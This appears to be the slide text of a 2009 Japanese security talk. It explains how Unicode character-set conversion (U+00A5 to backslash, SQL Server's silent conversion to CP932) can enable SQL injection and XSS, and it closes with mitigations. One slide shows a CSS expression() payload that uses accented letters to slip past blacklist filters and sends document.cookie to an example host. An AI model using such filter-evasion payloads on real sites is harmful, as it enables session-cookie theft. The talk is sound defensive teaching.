2.3K Views
September 17, 09
スライド概要
SQL Server使用時の文字コード変換の注意など
UnicodeによるXSSと SQLインジェクションの可能性 HASHサルティング株式会社 徳丸 浩 1
自己紹介 2
今日は漢字の人です 3
横浜で ちっちゃな会社 やってます 4
Webアプリが専門です が、色々やります 5
WAFについて書いた りしています 6
それでは始めます 7
本日のテーマは 8
文字コード 9
文字コードって何? 10
文字コード= 文字集合 + 文字エンコーディング 11
文字エンコーディングネタは結構ある ⚫ 冗長なUTF-8エンコーディング ⚫ ⚫ ⚫ ⚫ パストラバーサルなど 半端な先行バイトによるXSS UTF-7によるXSS Shift_JISの5C問題 しかし 12
本日のテーマは 13
文字集合 14
文字集合って何? 文字通り,文字の集まり 15 もじもじ
この辺があやしい 16
特にやばそうなところ 0x5C US-ASCII JIS X 0201 ISO-8859-1 Unicode ¥ 0xA5 % (*1) ・ (*2) ¥ ¥ (*1) US-ASCIIは7ビットのコードなので,最上位ビットを無視する 結果,0x25すなわち「%」として扱われる (*2) 中黒(なかぐろ) 17
文字集合を変換すると? 18
多対一の変換が起こるかどうかは実装依存 ⚫ ASP.NET ⚫ ⚫ 「\」 U+00A5 → ? PHP ⚫ ⚫ 10万超の文字を 変換して確認す るだけの簡単な お仕事です Perl ⚫ ⚫ 「\」U+00A5 → ? 「\」U+00A5 → ¥ (全角) Java ⚫ 「\」U+00A5 → (0x5C) 注目 19
U+00A5によるSQLインジェクション(MySQL+JDBC) エスケープ(' → ' ') Unicode → EUC-JP 20
U+00A5によるSQLインジェクション(MySQL+JDBC) 21
XSSはどうか? 22
U+00A5 → 0x5C の変換による XSSはあり得る 23
が,JavaScriptを動的生成する場 合などに限られる 24
現実的に発生し得るが 25
そもそも JavaScriptの動的生成って どうよorz 26
他にないのか? 27
SQL Serverの例 ⚫ ⚫ SQL ServerがUnicodeで列の値を保存するための 条件 ⚫ 列の型をnchar,nvarcharにする(char,varcharはだめ) ⚫ 文字列リテラルを N'....' と記述する('....' ではだめ) 上記を怠ると,Unicode→CP932への変換が起こる 28
CP932と断定していいのか? 29
非Unicodeへの変換が起こって いることは確かだがCP932と 断定できないorz 30
SQL Serverの例 ⚫ ⚫ SQL ServerがUnicodeで列の値を保存するための 条件 ⚫ 列の型をnchar,nvarcharにする(char,varcharはだめ) ⚫ 文字列リテラルを N'....' と記述する('....' ではだめ) 上記を怠ると,Unicode→CP932への変換が起こる っぽい ⚫ 変換の例 ⚫ ⚫ ⚫ ⚫ è→e é→e ê→e ë→e 31
これをどう活用するか 32
か,活用かよorz 33
悪影響の例:CSSのXSS対策 34
ブラックリスト 35
XSS対策が回避されるパターン ⚫ ⚫ 元の入力 .main { color: èxp®éßßïòñ(document.location= ”http://example.com?”+document.cookie); } XSS対策ルーチンを通るが ⚫ ⚫ ⚫ ⚫ èxp®éßßïòñはフィルタを回避される SQL ServerにInsert。その際に文字コード変換 .main { color: expRession(document.location= ”http://example.com?”+document.cookie); } CSSを使って表示すると,JavaScriptが実行され Cookie値が漏洩する はてなはEUC-JPだから大丈夫? (SQL Serverでもない) 36
対策 ⚫ ⚫ 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある ⚫ ⚫ wassr.jpのように,PC向けはUnicode, 携帯電話向けはShift_JISの対応が必要な サイトなど その場合は… 37
対策 ⚫ ⚫ 異なる文字集合への変換を極力しない どうしてもしなければならない場合もある ⚫ ⚫ ⚫ wassr.jpのように,PC向けはUnicode, 携帯電話向けはShift_JISの対応が必要な サイトなど その場合は… 続きはWebで ⚫ ITpro Security で 38
第5回~第6回の5回で文字コード説明します 39
ご清聴ありがとうございました 40